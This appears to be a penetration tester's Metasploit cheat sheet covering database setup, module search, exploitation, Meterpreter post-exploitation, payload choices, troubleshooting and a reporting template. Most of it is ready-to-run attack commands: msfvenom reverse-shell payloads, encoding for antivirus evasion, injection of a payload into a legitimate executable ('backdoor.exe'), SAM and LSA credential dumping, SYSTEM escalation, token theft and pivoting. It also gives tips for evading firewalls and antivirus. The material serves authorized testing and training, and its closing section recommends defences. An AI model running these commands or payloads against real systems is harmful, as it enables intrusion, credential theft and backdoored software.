πŸ›‘οΈ Methodology Checklist

  • Start MSF with DB: msfdb run
  • Set workspace: workspace -a [NAME]
  • Import Nmap scan: db_import [FILE].xml
  • Find relevant module: search type:exploit name:[SERVICE]
  • Set required options: use [MODULE], set RHOSTS, set LHOST/LPORT
  • Verify target is exploitable: check
  • Execute: exploit -j (background job) or run
  • Migrate to stable process after Meterpreter shell

🎯 Operational Context

Use when: Need quick MSF command reference during active exploitation β€” session management, module search, handler setup, and meterpreter commands. Think Dumber First: search before use. options before run. sessions -l to see what you have. Don’t start new exploit modules while existing sessions are unmanaged. Skip when: N/A β€” reference document for active MSF use.


⚑ Tactical Cheatsheet

CommandTactical Outcome
sudo systemctl start postgresql && sudo msfdb runStart DB + launch MSF
db_statusVerify DB connection
workspace -a [NAME]Create + switch workspace
db_nmap -sV -sS [TARGET_IP]Scan and auto-store results
db_import [FILE].xmlImport external Nmap XML
hosts -uShow live hosts from DB
services -p [PORT]Filter services by port
credsList all stored credentials
lootList all captured files/hashes
db_export -f xml backup.xmlBackup database
search [KEYWORD]Search modules by keyword
search type:exploit name:[NAME]Filtered module search
grep meterpreter grep reverse_tcp show payloadsChain grep to filter payloads
use [MODULE]Select module by path or index
show optionsDisplay module settings
set RHOSTS [TARGET_IP]Set target
set LHOST tun0Set attacker VPN IP
set LPORT [PORT]Set listener port
set payload [PAYLOAD]Set payload
exploitRun exploit
exploit -jRun as background job
sessions -lList sessions
sessions -i [ID]Interact with session
backgroundBackground current session
jobs -lList background jobs
jobs -KKill all jobs (clear stuck listeners)
use multi/handlerGeneric listener for standalone payloads
migrate [PID]Move Meterpreter to stable/privileged process
getsystemAuto-escalate to SYSTEM
steal_token [PID]Impersonate process token
hashdumpDump SAM hashes (needs SYSTEM)
lsa_dump_secretsDump LSA secrets
portfwd add -l [LPORT] -p [RPORT] -r [TARGET_IP]Port forward through session
route add [NET] [MASK] [SESSION_ID]Add pivot route
use post/multi/recon/local_exploit_suggesterFind kernel privesc exploits
use post/multi/manage/shell_to_meterpreterUpgrade dumb shell to Meterpreter
searchsploit -t [NAME] --exclude=".py"Find Ruby MSF modules in exploit-db
mkdir -p ~/.msf4/modules/exploits/[PATH]/ && cp [MOD].rb ~/.msf4/modules/exploits/[PATH]/Install custom module
reload_allReload all modules after installing custom
msfvenom -p [PAYLOAD] LHOST=[IP] LPORT=[PORT] -f [FORMAT] -o [FILE]Generate standalone payload
msfvenom -p [PAYLOAD] LHOST=[IP] LPORT=[PORT] -b "\x00" -f [FORMAT]Remove bad chars from payload
msfvenom -p [PAYLOAD] LHOST=[IP] LPORT=[PORT] -e x86/shikata_ga_nai -i 10 -f exe -o shell.exeEncode with SGN (10 iterations)
msfvenom -p [PAYLOAD] LHOST=[IP] LPORT=[PORT] -k -x [LEGIT].exe -f exe -o backdoor.exeInject into legitimate executable
msf-virustotal -k [API_KEY] -f [FILE].exeCheck payload against VirusTotal

πŸ”¬ Deep Dive & Workflow

Full Engagement Workflow

1. sudo msfdb run
2. workspace -a [ClientName]
3. db_nmap -sV -sS [TARGET]
4. hosts / services β†’ review findings
5. search [vuln/service]
6. use [exploit]
7. set RHOSTS/LHOST/LPORT/payload
8. exploit
9. [In Meterpreter] getuid β†’ ps β†’ migrate β†’ getsystem/steal_token
10. hashdump / lsa_dump_secrets
11. creds β†’ use for lateral movement
12. db_export -f xml backup.xml

Staged vs Stageless Quick Reference

/ = staged:    windows/x64/shell/reverse_tcp    (two steps)
_ = stageless: windows/x64/shell_reverse_tcp    (one file)

Common Payloads Quick Reference

TargetPayloadFormat
Windows CMDwindows/x64/shell_reverse_tcpexe
Windows Meterpreterwindows/x64/meterpreter/reverse_tcpexe
Windows IISwindows/meterpreter/reverse_tcpaspx
Linux Meterpreterlinux/x64/meterpreter/reverse_tcpelf
PHP webphp/reverse_phpraw
Java Tomcatjava/jsp_shell_reverse_tcpwar

Key Port Choices

PortWhy
443HTTPS β€” almost never blocked
80HTTP
4444MSF default β€” avoid in prod

πŸ› οΈ Troubleshooting & Edge Cases

ProblemCauseFix
Module search returns nothingWrong keywordTry by CVE: search cve:2021-41773; or type: search type:exploit platform:windows smb
run/exploit returns β€˜no session created’Payload or network issueCheck handler is running: jobs -l; verify LHOST/LPORT match handler settings
Session dies immediatelyPayload crash or AV killUse set ExitOnSession false; switch to HTTPS payload for AV evasion
Background session inaccessibleSession ID wrongsessions -l to list; sessions -i [ID] to interact
Post module fails on sessionWrong session typeVerify: sessions -i [ID] β€” meterpreter vs shell sessions have different post module compatibility

πŸ“ Reporting Trigger

Finding Title: Metasploit Framework Used for Exploitation and Post-Exploitation Impact: MSF provides integrated exploit delivery, session management, and post-exploitation modules enabling rapid pivoting from initial access to full domain compromise. Root Cause: Exploitable service with no EDR capable of detecting Meterpreter session establishment or post-exploitation module execution. Recommendation: Deploy EDR with Meterpreter detection signatures. Implement network-level detection for MSF staging traffic. Alert on unusual LSASS access patterns indicative of MSF credential dumping modules.